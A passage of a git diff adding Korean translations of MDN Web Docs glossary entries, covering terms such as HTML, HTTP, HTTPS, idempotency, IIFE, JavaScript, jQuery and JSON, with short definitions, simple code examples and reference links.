+console.log(x + " " + y); // '1 undefined'
+y = 2; // Initialize y
+</pre>
+
+<h3 id="기술_레퍼런스">기술 레퍼런스</h3>
+
+<ul>
+ <li><a href="https://www.udemy.com/understand-javascript/">JavaScript: Understanding the Weird Parts</a> - Udemy.com 코스</li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Statements/var">var statement</a> - MDN</li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Statements/function">function statement</a> - MDN</li>
+</ul>
diff --git a/files/ko/glossary/html/index.html b/files/ko/glossary/html/index.html
new file mode 100644
index 0000000000..a4c3ec1e8f
--- /dev/null
+++ b/files/ko/glossary/html/index.html
@@ -0,0 +1,50 @@
+---
+title: HTML
+slug: Glossary/HTML
+tags:
+  - CodingScripting
+  - Glossary
+  - HTML
+  - 'l10n:priority'
+translation_of: Glossary/HTML
+---
+<p>{{QuickLinksWithSubpages("/ko/docs/Glossary")}}<br>
+ <strong>HTML</strong>(Hypertext Markup Language)은 웹페이지의 구조를 지정하는 기술적인 언어입니다.</p>
+
+<h2 id="간략한_역사">간략한 역사</h2>
+
+<p>1990년, 팀 버너스리는 {{glossary("World Wide Web","Web")}}의 비전 중 하나로서 {{glossary("hypertext", "하이퍼텍스트")}}라는 개념을 정의하고, 그 이듬해에 {{glossary("SGML")}}에 기초한 마크업을 통해 구체화했습니다. {{glossary("IETF")}}는 1993년에 HTML을 공식 지정했으며, 1995년 몇 차례 초안을 거쳐 2.0 버전을 발표했습니다. 1994년, 팀 버너스리는 웹의 발전을 위해 {{glossary("W3C")}}를 설립했습니다. W3C는 1996년부터 HTML 작업을 시작하고, 1년 후 HTML 3.2 권고안을 발표했습니다. HTML 4.0은 1999년에 발표됐으며 2000년에 {{glossary("ISO")}} 표준이 됐습니다.</p>
+
+<p>이 때, W3C는 HTML을 버리고 {{glossary("XHTML")}}을 채택하려 했습니다. 이 움직임은, 2004년, {{glossary("WHATWG")}}라는 독립 단체가 만들어지는 계기가 됩니다. WHATWG 덕분에 {{glossary("HTML5")}} 작업이 계속 됐고, 두 단체는 2008년 첫 초안을, 2014년 최종 표준안을 발표합니다.</p>
+
+<h2 id="개념과_문법">개념과 문법</h2>
+
+<p>HTML 문서는 {{glossary("element","요소")}}로 구조화한 일반 텍스트 문서입니다. 요소는 한 쌍의 {{Glossary("tag","태그")}}로 열고 닫으며, 각각의 태그는 부등호(<code>&lt;&gt;</code>)로 감쌉니다. {{htmlelement("img")}}처럼 텍스트를 감싸지 못하는 "빈 태그"도 있습니다.</p>
+
+<p>HTML 태그는 {{Glossary("attribute","특성")}}을 사용해 확장할 수 있고, 브라우저가 요소를 읽어들일 때 추가 정보를 제공합니다.</p>
+
+<p><img alt="Detail of the structure of an HTML element" src="https://mdn.mozillademos.org/files/7659/anatomy-of-an-html-element.png" style="height: 181px; width: 609px;"></p>
+
+<p>HTML은 보통 <code>.htm</code>이나 <code>.html</code> 확장자로 저장해 {{glossary("server", "웹 서버")}}로 제공하며, 아무 {{glossary("browser", "브라우저")}}로 렌더링할 수 있습니다.</p>
+
+<h2 id="더_알아보기">더 알아보기</h2>
+
+<h3 id="일반_지식">일반 지식</h3>
+
+<ul>
+ <li>위키백과 <a href="https://ko.wikipedia.org/wiki/HTML">HTML</a></li>
+</ul>
+
+<h3 id="HTML_배우기">HTML 배우기</h3>
+
+<ul>
+ <li><a href="http://developer.mozilla.org/ko/Learn/HTML">HTML 자습서</a></li>
+ <li><a href="http://www.codecademy.com/en/tracks/web" rel="external">The web course on codecademy.com</a></li>
+</ul>
+
+<h3 id="기술_참조서">기술 참조서</h3>
+
+<ul>
+ <li><a href="/ko/docs/Web/HTML">MDN의 HTML 문서</a></li>
+ <li><a href="http://www.w3.org/TR/html5/" rel="external">HTML 명세</a></li>
+</ul>
diff --git a/files/ko/glossary/http/index.html b/files/ko/glossary/http/index.html
new file mode 100644
index 0000000000..da42fc87be
--- /dev/null
+++ b/files/ko/glossary/http/index.html
@@ -0,0 +1,19 @@
+---
+title: HTTP
+slug: Glossary/HTTP
+translation_of: Glossary/HTTP
+---
+<p>The HyperText Transfer Protocol (<strong>HTTP</strong>) 는 기본적으로 하이퍼미디어 문서를 전송하는 네트워크 {{glossary("프로토콜")}} 입니다. 사람들이 읽을 수 있도록 브라우저와 서버 사이에 존재하죠. 현재 버전의 HTTP 규격은 <a href="/en-US/docs/Glossary/HTTP_2">HTTP/2</a>입니다.</p>
+
+<p>{{glossary("URI")}}의 일부로, "http://" 는 "schema" 라고도 불리며, 일반적으로 주소의 시작 부분에 위치합니다. 일례로 "https://developer.mozilla.org" 라는 주소는 HTTP 프로토콜을 사용하여 문서를 요청하도록 브라우저에 명시한다는 것을 의미합니다. 이 경우 https는 HTTP 프로토콜의 보안 버전인 {{glossary("SSL")}} 를 나타냅니다 (TLS라고도 부르죠).</p>
+
+<p>HTTP 텍스트 기반 (모든 통신은 일반 텍스트로 수행됩니다) 이며 stateless (이전의 통신을 인식하지 않습니다) 입니다. 이 속성은 www 상에서 인간이 문서(웹 사이트) 를 읽는 것을 이상적으로 수행할 수 있도록 합니다. 그뿐만 아니라,  HTTP 는 서버 간 웹 서비스 {{glossary("REST")}} 또는 웹 사이트 내의 요청 {{glossary("AJAX")}} 에 대한 기초로도 사용할 수 있습니다.</p>
+
+<div>
+<h2 id="더_알아보기">더 알아보기</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/HTTP">HTTP (MDN</a>)</li>
+ <li>{{interwiki("wikipedia", "Hypertext Transfer Protocol", "HTTP")}} (Wikipedia)</li>
+</ul>
+</div>
diff --git a/files/ko/glossary/http_2/index.html b/files/ko/glossary/http_2/index.html
new file mode 100644
index 0000000000..e873bd11c2
--- /dev/null
+++ b/files/ko/glossary/http_2/index.html
@@ -0,0 +1,25 @@
+---
+title: HTTP/2
+slug: Glossary/HTTP_2
+translation_of: Glossary/HTTP_2
+---
+<p><span class="seoSummary"><strong>HTTP/2 </strong>는 <a href="/en-US/docs/Web/HTTP/Basics_of_HTTP">HTTP 네트워크 프로토콜</a>의 메인 개정판입니다</span>. HTTP/2의 주요 목표는  "지연 시간"을 감소시키는 것입니다. 전체 요청과 응답 멀티플렉싱을 가능하게 하여 HTTP 헤더 필드를 효율적으로 압축함으로써 프로토콜 오버헤드를 최소화하고, 요청에 대한 우선 순위를 결정하며 서버 푸시 지원을 추가하는 과정을 통해서요.</p>
+
+<p>HTTP/2는 HTTP의 어플리케이션 의미를 수정하지 않습니다. HTTP 메소드, 상태 코드, URI, 헤더 필드와 같은 HTTP 1.1의 핵심 개념은 그대로 유지됩니다. 대신, HTTP/2는 전체 프로세스를 관리하는 두 가지 방식, 데이터의 포맷(프레임) 방식과 클라이언트-서버 사이의 전송 방식을 수정하여 새로운 프레임 계층 내에서 어플리케이션 복잡성을 숨깁니다. 그 결과, 기존의 모든 어플리케이션은 수정 과정을 거치지 않고 전달될 수 있습니다. </p>
+
+<section class="Quick_links" id="Quick_Links">
+<ol>
+ <li>참고
+  <ol>
+   <li><a href="/en-US/docs/Web/HTTP">HTTP (MDN)</a></li>
+   <li>{{interwiki("wikipedia", "HTTP/2", "HTTP/2")}} (Wikipedia)</li>
+  </ol>
+ </li>
+ <li><a href="/en-US/docs/Glossary">용어</a>
+  <ol>
+   <li>{{glossary("HTTP")}}</li>
+   <li>{{glossary("Latency")}}</li>
+  </ol>
+ </li>
+</ol>
+</section>
diff --git a/files/ko/glossary/https/index.html b/files/ko/glossary/https/index.html
new file mode 100644
index 0000000000..18a9070ab6
--- /dev/null
+++ b/files/ko/glossary/https/index.html
@@ -0,0 +1,17 @@
+---
+title: HTTPS
+slug: Glossary/https
+tags:
+  - HTTPS
+translation_of: Glossary/https
+---
+<p><strong>HTTPS</strong> (<em>HTTP Secure</em>) 는 {{Glossary("HTTP")}} protocol의 암호화된 버전이다. 이것은 대개 클라이언트와 서버 간의 모든 커뮤니케이션을 암호화 하기 위하여 {{Glossary("SSL")}} 이나 {{Glossary("TLS")}}을 사용한다. 이 커넥션은 클라이언트가 민감한 정보를 서버와 안전하게 주고받도록 해준다. 예를들면 금융 활동 이나 온라인 쇼핑이 있을 수 있다.</p>
+
+<h2 id="Learn_more">Learn more</h2>
+
+<h3 id="General_knowledge">General knowledge</h3>
+
+<ul>
+ <li>{{Interwiki("wikipedia", "HTTPS")}} on Wikipedia</li>
+ <li><a href="https://movingtohttps.com/">Moving to HTTPS community guide</a></li>
+</ul>
diff --git a/files/ko/glossary/idempotent/index.html b/files/ko/glossary/idempotent/index.html
new file mode 100644
index 0000000000..861797d903
--- /dev/null
+++ b/files/ko/glossary/idempotent/index.html
@@ -0,0 +1,49 @@
+---
+title: 멱등성
+slug: Glossary/Idempotent
+tags:
+  - Glossary
+  - WebMechanics
+translation_of: Glossary/Idempotent
+---
+<p>동일한 요청을 한 번 보내는 것과 여러 번 연속으로 보내는 것이 같은 효과를 지니고, 서버의 상태도 동일하게 남을 때, 해당 HTTP 메서드가 <strong>멱등성</strong>을 가졌다고 말합니다. 다른 말로는, 멱등성 메서드에는 통계 기록 등을 제외하면 어떠한 부수 효과(side effect)도 존재해서는 안됩니다. 올바르게 구현한 경우 {{HTTPMethod("GET")}}, {{HTTPMethod("HEAD")}}, {{HTTPMethod("PUT")}}, {{HTTPMethod("DELETE")}} 메서드는 멱등성을 가지며, {{HTTPMethod("POST")}} 메서드는 그렇지 않습니다. 모든 {{glossary("safe", "안전한")}} 메서드는 멱등성도 가집니다.</p>
+
+<p>멱등성을 따질 땐 실제 서버의 백엔드 상태만 보면 되며, 각 요청에서 반환하는 응답 코드는 다를 수 있습니다. 첫 번째 {{HTTPMethod("DELETE")}} 요청이 {{HTTPStatus("200")}}을 반환한다면, 그 이후는 아마 {{HTTPStatus("404")}}를 반환할 것입니다. <code>DELETE</code>가 멱등성을 가진다는 것은, REST API에서 개발자는 <code>DELETE</code> 메서드를 사용해 "목록의 마지막 항목 제거" 기능을 구현해서는 안된다는 것입니다.</p>
+
+<p>다만, 서버는 멱등성을 보장하지 않으며, 일부 애플리케이션은 잘못된 구현으로 멱등성 제약을 어길 수도 있습니다.</p>
+
+<p><code>GET /pageX HTTP/1.1</code>는 멱등성을 가집니다. 여러 번 연속해서 호출해도 클라이언트가 받는 응답은 동일합니다.</p>
+
+<pre>GET /pageX HTTP/1.1
+GET /pageX HTTP/1.1
+GET /pageX HTTP/1.1
+GET /pageX HTTP/1.1
+</pre>
+
+<p><code>POST /add_row HTTP/1.1</code>는 멱등성을 갖지 않습니다. 여러 번 호출할 경우, 여러 열을 추가합니다.</p>
+
+<pre>POST /add_row HTTP/1.1
+POST /add_row HTTP/1.1   -&gt; Adds a 2nd row
+POST /add_row HTTP/1.1   -&gt; Adds a 3rd row
+</pre>
+
+<p><code>DELETE /idX/delete HTTP/1.1</code>의 상태 코드는 응답마다 달라질 수 있지만, 그럼에도 멱등성을 가집니다.</p>
+
+<pre>DELETE /idX/delete HTTP/1.1   -&gt; Returns 200 if idX exists
+DELETE /idX/delete HTTP/1.1   -&gt; Returns 404 as it just got deleted
+DELETE /idX/delete HTTP/1.1   -&gt; Returns 404</pre>
+
+<h2 id="더_알아보기">더 알아보기</h2>
+
+<h3 id="일반_지식">일반 지식</h3>
+
+<ul>
+ <li><a href="https://tools.ietf.org/html/rfc7231#section-4.2.2">HTTP 명세의 멱등성</a> 정의</li>
+</ul>
+
+<h3 id="기술_지식">기술 지식</h3>
+
+<ul>
+ <li>멱등성 메서드 문서: {{HTTPMethod("GET")}}, {{HTTPMethod("HEAD")}}, {{HTTPMethod("PUT")}}, {{HTTPMethod("DELETE")}}, {{HTTPMethod("OPTIONS")}}, {{HTTPMethod("TRACE")}}</li>
+ <li>비 멱등성 메서드 문서: {{HTTPMethod("POST")}},{{HTTPMethod("PATCH")}}, {{HTTPMethod("CONNECT")}}</li>
+</ul>
diff --git a/files/ko/glossary/iife/index.html b/files/ko/glossary/iife/index.html
new file mode 100644
index 0000000000..c9ccc8be4b
--- /dev/null
+++ b/files/ko/glossary/iife/index.html
@@ -0,0 +1,59 @@
+---
+title: IIFE
+slug: Glossary/IIFE
+tags:
+  - 디자인패턴
+  - 자바스크립트
+  - 즉시실행함수
+translation_of: Glossary/IIFE
+---
+<p><strong>즉시 실행 함수 표현(IIFE, Immediately Invoked Function Expression)</strong>은 정의되자마자 즉시 실행되는 {{glossary("Javascript")}} {{glossary("Function")}} 를 말한다.</p>
+
+<pre class="brush: js">(function () {
+    statements
+})();</pre>
+
+<p>이는 {{glossary("Self-Executing Anonymous Function")}} 으로 알려진 디자인 패턴이고 크게 두 부분으로 구성된다. 첫 번째는 괄호(<code>()</code>, Grouping Operator)로 둘러싸인 익명함수(Anonymous Function)이다. 이는 전역 스코프에 불필요한 변수를 추가해서 오염시키는 것을 방지할 수 있을 뿐 아니라 IIFE 내부안으로 다른 변수들이 접근하는 것을 막을 수 있는 방법이다.</p>
+
+<p>두 번째 부분은 즉시 실행 함수를 생성하는 괄호<code>()</code>이다. 이를 통해 자바스크립트 엔진은 함수를 즉시 해석해서 실행한다.</p>
+
+<h2 id="예제">예제</h2>
+
+<p>아래 함수는 즉시 실행되는 함수 표현이다. 표현 내부의 변수는 외부로부터의 접근이 불가능하다.</p>
+
+<pre class="brush: js">(function () {
+    var aName = "Barry";
+})();
+// IIFE 내부에서 정의된 변수는 외부 범위에서 접근이 불가능하다.
+aName // throws "Uncaught ReferenceError: aName is not defined"
+</pre>
+
+<p>IIFE를 변수에 할당하면 IIFE 자체는 저장되지 않고, 함수가 실행된 결과만 저장된다.</p>
+
+<pre class="brush: js">var result = (function () {
+    var name = "Barry";
+    return name;
+})();
+// 즉시 결과를 생성한다.
+result; // "Barry"</pre>
+
+<section class="Quick_links" id="Quick_Links">
+<ol>
+ <li>더 알아보기
+  <ol>
+   <li><a href="/en-US/docs/Web/JavaScript/A_re-introduction_to_JavaScript#Functions">예제</a>("Function" 섹션의 끝, "Custom objects"의 오른쪽 부분)</li>
+  </ol>
+ </li>
+ <li>Wikipedia 문서
+  <ol>
+   <li>{{interwiki("wikipedia", "Immediately-invoked function expression", "IIFE")}}</li>
+  </ol>
+ </li>
+ <li><a href="/ko/docs/Glossary">용어</a>
+  <ol>
+   <li>{{Glossary("Function")}}</li>
+   <li>{{Glossary("Self-Executing Anonymous Function")}}</li>
+  </ol>
+ </li>
+</ol>
+</section>
diff --git a/files/ko/glossary/index.html b/files/ko/glossary/index.html
new file mode 100644
index 0000000000..bf00206eda
--- /dev/null
+++ b/files/ko/glossary/index.html
@@ -0,0 +1,39 @@
+---
+title: 용어 사전
+slug: Glossary
+tags:
+  - Beginner
+  - Definitions
+  - Glossary
+  - Index
+  - Landing
+  - Terminology
+  - 사전
+  - 용어
+translation_of: Glossary
+---
+<p>웹 기술은 문서화 및 코딩에 쓰이는 전문 용어와 약어 목록을 포함합니다. 이 용어 사전은 웹을 성공적으로 이해하고 구축하기 위해 알아야 할 단어와 약자의 정의를 제공합니다.</p>
+
+<h2 id="용어_사전">용어 사전</h2>
+
+<p>{{GlossaryList({"split":"h3", "css":"multiColumnList"})}}</p>
+
+<h2 id="용어_사전에_기여하기">용어 사전에 기여하기</h2>
+
+<p>용어 사전은 끝없이 진행 중인 작업입니다. 여러분은 <a href="/ko/docs/MDN/Contribute/Howto/Write_a_new_entry_in_the_Glossary">새 항목을 작성</a>하거나 기존 항목의 개선을 도울 수 있습니다. 가장 쉬운 시작법은 다음 버튼을 누르거나 아래에 제안된 용어 중 하나를 고르는 겁니다.</p>
+
+<p><strong><a href="/ko/docs/new?parent=4391">용어 사전에 새 항목 추가하기</a></strong></p>
+
+<p>{{GlossaryList({"terms":[], "filter":"notdefined", "css":"multiColumnList"})}}</p>
+
+<p>혹시 용어 사전에 기여하는 법에 관해 더 알고 싶다면, <a href="/ko/docs/MDN/Doc_status/Glossary">용어 사전 문서화 상태 페이지</a>를 확인하세요.</p>
+
+<div class="hidden">
+<h2 id="Subnav">Subnav</h2>
+
+<section id="Quick_Links">
+<ol>
+ <li><strong><a href="/en-US/docs/Glossary">MDN Web Docs Glossary</a></strong>{{ListSubpagesForSidebar("/en-us/docs/Glossary", 1)}}</li>
+</ol>
+</section>
+</div>
diff --git a/files/ko/glossary/index/index.html b/files/ko/glossary/index/index.html
new file mode 100644
index 0000000000..f7edc11916
--- /dev/null
+++ b/files/ko/glossary/index/index.html
@@ -0,0 +1,11 @@
+---
+title: Index
+slug: Glossary/Index
+tags:
+  - Glossary
+  - Index
+  - MDN Meta
+  - Navigation
+translation_of: Glossary/Index
+---
+<p>{{Index("/ko/docs/Glossary")}}</p>
diff --git a/files/ko/glossary/internet/index.html b/files/ko/glossary/internet/index.html
new file mode 100644
index 0000000000..9eb58f6a0a
--- /dev/null
+++ b/files/ko/glossary/internet/index.html
@@ -0,0 +1,16 @@
+---
+title: Internet
+slug: Glossary/Internet
+translation_of: Glossary/Internet
+---
+<p>The Internet is a worldwide network of networks that uses the Internet protocol suite (also named {{glossary("TCP")}}/{{glossary("IPv6","IP")}} from its two most important {{glossary("protocol","protocols")}}).</p>
+
+<p>인터넷은 인터넷 프로토콜 제품군(두 가지 가장 중요한 프로토콜에서 이름을 딴  {{glossary("TCP")}} // {{glossary("IPv6","IP")}}라고도 함)을 사용하는 세계적인 네트워크이다.</p>
+
+<h2 id="더_알아보기">더 알아보기</h2>
+
+<h3 id="이것에_대해_알아보기">이것에 대해 알아보기</h3>
+
+<ul>
+ <li><a href="/en-US/Learn/How_the_Internet_works">How the Internet works</a> (introduction for beginners)</li>
+</ul>
diff --git a/files/ko/glossary/ip_address/index.html b/files/ko/glossary/ip_address/index.html
new file mode 100644
index 0000000000..01995fbae3
--- /dev/null
+++ b/files/ko/glossary/ip_address/index.html
@@ -0,0 +1,16 @@
+---
+title: IP Address
+slug: Glossary/IP_Address
+translation_of: Glossary/IP_Address
+---
+<p>IP 주소는 인터넷 프로토콜을 사용하는 네트워크에 연결된 모든 장치에 할당된 번호다.</p>
+
+<p>"IP address"는 IPv6이 보다 광범위하게 배포될 때까지 여전히 32비트 IPv4 주소를 가리킨다.</p>
+
+<h2 id="더_알아보기">더 알아보기</h2>
+
+<h3 id="일반적인_지식">일반적인 지식</h3>
+
+<ul>
+ <li>Wikipedia의 {{interwiki("wikipedia", "IP address", "IP address")}} </li>
+</ul>
diff --git a/files/ko/glossary/ipv4/index.html b/files/ko/glossary/ipv4/index.html
new file mode 100644
index 0000000000..9e5fe690fd
--- /dev/null
+++ b/files/ko/glossary/ipv4/index.html
@@ -0,0 +1,14 @@
+---
+title: IPv4
+slug: Glossary/IPv4
+translation_of: Glossary/IPv4
+---
+<p>IPv4는 {{glossary("Internet", "인터넷")}}기반 통신 {{Glossary("protocol", "프로토콜")}}의 네 번째 버전이며, 널리 보급된 첫 번째 버전이다.</p>
+
+<p>1981년에 처음 공식화된 IPv4는 ARPAnet의 초기 개발 작업에 그 뿌리를 두고 있다. IPv4는 패킷 교환 링크 계층 네트워크(ethernet)에서 사용되는 무연결 프로토콜이다. {{glossary("IPv6")}}은 IPv4의 보안 문제 및 주소 필드의 제한 때문에 IPv4를 점진적으로 대체하고 있다.(버전 번호 5는 1979년에 실험적인 인터넷 스트림 프로토콜에 할당되었는데, IPv5라고 불린 적은 없다.)</p>
+
+<h2 id="더_알아보기"><strong>더 알아보기</strong></h2>
+
+<h3 id="일반적인_지식"><strong>일반적인 지식</strong></h3>
+
+<p>Wikipedia의 {{interwiki("wikipedia", "IPv4", "IPv4")}} </p>
diff --git a/files/ko/glossary/ipv6/index.html b/files/ko/glossary/ipv6/index.html
new file mode 100644
index 0000000000..2011eee9c1
--- /dev/null
+++ b/files/ko/glossary/ipv6/index.html
@@ -0,0 +1,14 @@
+---
+title: IPv6
+slug: Glossary/IPv6
+translation_of: Glossary/IPv6
+---
+<p id="Summary"><strong>IPv6</strong> 은 {{glossary("Internet", "인터넷")}} 기반 통신 {{glossary("protocol", "프로토콜")}}의 최신 버전이다. IPv6는 많은 다른 {{Glossary("IP address","IP 주소")}}를 허용하기 때문에 천천히 {{Glossary("IPv4")}}를 대체하고 있다.</p>
+
+<h2 id="더_알아보기">더 알아보기</h2>
+
+<h3 id="일반적인_지식">일반적인 지식</h3>
+
+<ul>
+ <li>Wikipedia의 {{interwiki("wikipedia", "IPv6", "IPv6")}}</li>
+</ul>
diff --git a/files/ko/glossary/java/index.html b/files/ko/glossary/java/index.html
new file mode 100644
index 0000000000..efb9f1a3f7
--- /dev/null
+++ b/files/ko/glossary/java/index.html
@@ -0,0 +1,20 @@
+---
+title: Java
+slug: Glossary/Java
+translation_of: Glossary/Java
+---
+<p>Java는 {{glossary("Compile", "컴파일")}}이 되고, {{glossary("OOP", "객체 지향적")}}이며, 휴대성이 높은 {{Glossary("computer programming", "프로그래밍")}} 언어이다.</p>
+
+<p>자바는 정적으로 타이핑되며 C와 유사한 구문을 가지고 있다. 이는 쉽게 사용 가능한 기능이 있는 대형 라이브러리인 Java Software Development Kit와 함께 제공된다.</p>
+
+<p>프로그램은 Java Virtual Machine(JVM) 내에서 실행되는 독점 바이트 코드와 패키지 형식으로 미리 한 번만  {{glossary("Compile", "컴파일")}}된다. JVM은 많은 플랫폼에서 사용할 수 있으며, 이를 통해 Java 프로그램은 다시 컴파일하거나 패키징할 필요 없이 거의 모든 곳에서 실행될 수 있다. 이것은 이질적인 환경을 가진 많은 대기업에서 이 언어를 선호하지만, "무거운" 것으로 인식될 수 있다.</p>
+
+<h2 id="더_알아보기">더 알아보기</h2>
+
+<h3 id="일반적인_지식">일반적인 지식</h3>
+
+<ul>
+ <li>Wikipedia 의 {{interwiki("wikipedia", "Java (programming language)", "Java")}} </li>
+</ul>
+
+<div>{{QuickLinksWithSubpages("/en-US/docs/Glossary")}}</div>
diff --git a/files/ko/glossary/javascript/index.html b/files/ko/glossary/javascript/index.html
new file mode 100644
index 0000000000..437db258b3
--- /dev/null
+++ b/files/ko/glossary/javascript/index.html
@@ -0,0 +1,43 @@
+---
+title: JavaScript
+slug: Glossary/JavaScript
+tags:
+  - 자바스크립트
+translation_of: Glossary/JavaScript
+---
+<p>JavaScript는 프로그래밍 언어입니다. 대부분의 상황에서는 클라이언트 측에서 웹페이지를 동적으로 다룰때 사용되며,  종종 {{Glossary("Server","서버")}} 측에서 <a href="http://nodejs.org/" rel="external">Node.js</a>와 같은 패키지를 이용하여 사용되기도 합니다.</p>
+
+<p>JavaScript는 Java와 가까운 관련이 없습니다만, <a href="https://developer.mozilla.org/ko/docs/Web/JavaScript/Guide/Introduction#JavaScript_and_Java">여기</a>에서 비교를 볼 수 있습니다.</p>
+
+<p>1995년 9월 당시 넷스케이프사의 직원이었던 Brendan Eich는 서버 쪽 언어로 JavaScript를 생각해냈습니다. 머지않아 JavaScript는 Netscape Navigator 2.0에 들어왔습니다. JavaScript는 곧 큰 성공을 거두었고, {{glossary("Microsoft Internet Explorer", "Internet Explorer 3.0")}}에 JScript 라는 이름으로 1996년 8월에 도입됩니다.</p>
+
+<p>1996년 11월, 넷스케이프사는 <a href="http://www.ecma-international.org/">ECMA International</a> 협회와 함께 JavaScript를 산업 표준으로 만들기 위한 일을 시작하였습니다. 이때 정립된 ECMAScript는 <a href="http://www.ecma-international.org/publications/standards/Ecma-262.htm">ECMA-262</a> 명세에 의해 설계됬고, JavaScript의 표준이 되었습니다. ECMAScript의 다섯 번째 버전(ECMAScript5)은 현재 모든 주요 브라우저에서 쓰이고 있으며, 여섯 번째 버전(ECMAScript6 혹은 줄여서 es6)은 2015 중반에 완성될 예정입니다.</p>
+
+<p>대부분 JavaScript는 브라우저에서 사용됩니다. 개발자들은 {{Glossary("DOM")}}을 통해서 웹 페이지의 내용을 조종할 수 있으며, {{Glossary("AJAX")}}와 {{Glossary("IndexedDB")}}로 데이터를 다룹니다. {{Glossary("canvas")}}로 그림을 그리기도 하고, 다양한 {{Glossary("API","APIs")}}들을 활용해 브라우저를 실행하는 기기와 상호작용합니다. 브라우저들의 {{Glossary("API","APIs")}} 성능 향상과 성장세를 등에 업고 JavaScript 는 세계에서 가장 많이 쓰이는 언어 중 하나로 자리매김 하였습니다.</p>
+
+<p>최근, JavaScript는 성공적인 플랫폼 <a href="http://nodejs.org/" rel="external">Node.js</a>과 함께 서버로 돌아왔습니다. Node.js는 가장 유명한 브라우저 밖에서의 크로스플랫폼 JavaScript 실행 환경입니다. Node.js를 활용하면 JavaScript를 PC에서 쓰이는 자동화 스크립트 언어로 쓸 수도 있고, 완전히 작동하는 {{Glossary("HTTP")}} 및 {{Glossary("Web Sockets")}} 서버를 만들 수 있습니다.</p>
+
+<h2 id="더_배워보기">더 배워보기</h2>
+
+<h3 id="일반_지식">일반 지식</h3>
+
+<ul>
+ <li><a href="http://en.wikipedia.org/wiki/JavaScript" rel="external">JavaScript on Wikipedia</a></li>
+</ul>
+
+<h3 id="JavaScript_배우기">JavaScript 배우기</h3>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Guide">The JavaScript guide on MDN</a></li>
+ <li><a href="http://nodeschool.io/#workshoppers">The "javascripting" workshop on NodeSchool</a></li>
+ <li><a href="http://www.codecademy.com/tracks/javascript" rel="external">The JavaScript course on codecademy.com</a></li>
+ <li><a href="http://ejohn.org/apps/learn/" rel="external">John Resig's Learning Advanced JavaScript</a></li>
+</ul>
+
+<h3 id="기술적인_레퍼런스">기술적인 레퍼런스</h3>
+
+<ul>
+ <li><a href="http://www.ecma-international.org/publications/standards/Ecma-262.htm" rel="external">The latest ECMAScript standard</a></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference">The JavaScript reference on MDN</a></li>
+ <li><a href="http://eloquentjavascript.net/" rel="external">The <em>Eloquent JavaScript</em> book</a></li>
+</ul>
diff --git a/files/ko/glossary/jquery/index.html b/files/ko/glossary/jquery/index.html
new file mode 100644
index 0000000000..2d07404d9e
--- /dev/null
+++ b/files/ko/glossary/jquery/index.html
@@ -0,0 +1,57 @@
+---
+title: jQuery
+slug: Glossary/jQuery
+tags:
+  - 자바스크립트
+  - 제이쿼리
+translation_of: Glossary/jQuery
+---
+<p><strong>jQuery</strong>는 {{Glossary("DOM")}}조작의 단순화, {{Glossary("AJAX")}}호출, {{Glossary("Event")}}핸들링에 초점을 맞춘 {{Glossary("JavaScript")}} {{Glossary("Library")}}다.  자바스크립트 개발자가 자주 사용한다. </p>
+
+<p>jQuery는 element(s)에 이벤트를 할당하기 위해 <code>$(selector).action()</code> 포맷을 사용합니다. 더 자세히 설명하자면, <code>$(selector)</code>는 <code>selector</code> element(s)를 선택하기 위해서 jQuery를 호출하며, <code>.action()</code> 라 불리는 {{Glossary("API")}}이벤트에 할당합니다.</p>
+
+<pre class="brush: js"><code class="language-js">$(document).ready(function(){
+  alert("Hello World!");
+  $("#blackBox").hide();
+});</code></pre>
+
+<p>위의 코드는 아래의 코드와 같은 역할을 합니다:</p>
+
+<pre class="brush: js"><code class="language-js">window.onload = function() {
+  alert( "Hello World!" );
+  document.getElementById("blackBox").style.display = "none";
+};</code></pre>
+
+<h2 id="jQuery_사용하기.">jQuery 사용하기.</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col"><strong>npm</strong></th>
+   <th scope="col">bower (solo file)</th>
+   <th scope="col">Google CDN</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>npm install jquery</code></td>
+   <td><code>bower install https://code.jquery.com/jquery-3.2.1.min.js</code></td>
+   <td><code>https://ajax.googleapis.com/ajax/libs/jquery/3.2.1/jquery.min.js</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="더보기">더보기</h2>
+
+<h3 id="General_knowledge">General knowledge</h3>
+
+<ul>
+ <li>{{Interwiki("wikipedia", "jQuery")}} on Wikipedia</li>
+ <li><a href="https://jquery.com/">jQuery Official Website</a></li>
+</ul>
+
+<h3 id="Technical_information">Technical information</h3>
+
+<ul>
+ <li><a href="https://api.jquery.com/">API reference documentation</a><a href="https://api.jquery.com/"> </a></li>
+</ul>
diff --git a/files/ko/glossary/json/index.html b/files/ko/glossary/json/index.html
new file mode 100644
index 0000000000..2fb2dbce69
--- /dev/null
+++ b/files/ko/glossary/json/index.html
@@ -0,0 +1,24 @@
+---
+title: JSON
+slug: Glossary/JSON
+translation_of: Glossary/JSON
+---
+<p><em>JavaScript Object Notation</em> (<strong>JSON</strong>) 은 데이터 교환 형식의 일종입니다.  Although not a strict subset, JSON closely resembles a subset of {{Glossary("JavaScript")}} syntax. Though many programming languages support JSON, JSON is especially useful for JavaScript-based apps, including websites and browser extensions.</p>
+
+<p>JSON can represent numbers, booleans, strings, <code>null</code>, arrays (ordered sequences of values), and objects (string-value mappings) made up of these values (or of other arrays and objects).  JSON does not natively represent more complex data types like functions, regular expressions, dates, and so on.  (Date objects by default serialize to a string containing the date in ISO format, so the information isn't completely lost.) If you need JSON to represent additional data types, transform values as they are serialized or before they are deserialized.</p>
+
+<p>Much like XML, JSON has the ability to store hierarchical data unlike the more traditional CSV format.  Many tools provide translation between these formats such as this online <a href="https://json-csv.com">JSON to CSV Converter</a> or this alternative <a href="https://jsontoexcel.com">JSON to CSV Converter</a>.</p>
+
+<h2 id="Learn_more">Learn more</h2>
+
+<h3 id="General_knowledge">General knowledge</h3>
+
+<ul>
+ <li>{{interwiki("wikipedia", "JSON", "JSON")}} on Wikipedia</li>
+</ul>
+
+<h3 id="Technical_reference">Technical reference</h3>
+
+<ul>
+ <li>{{Link("/en-US/docs/Web/JavaScript/Reference/Global_Objects/JSON")}} on MDN</li>
+</ul>
diff --git a/files/ko/glossary/main_axis/index.html b/files/ko/glossary/main_axis/index.html
new file mode 100644
index 0000000000..b2790c037b
--- /dev/null
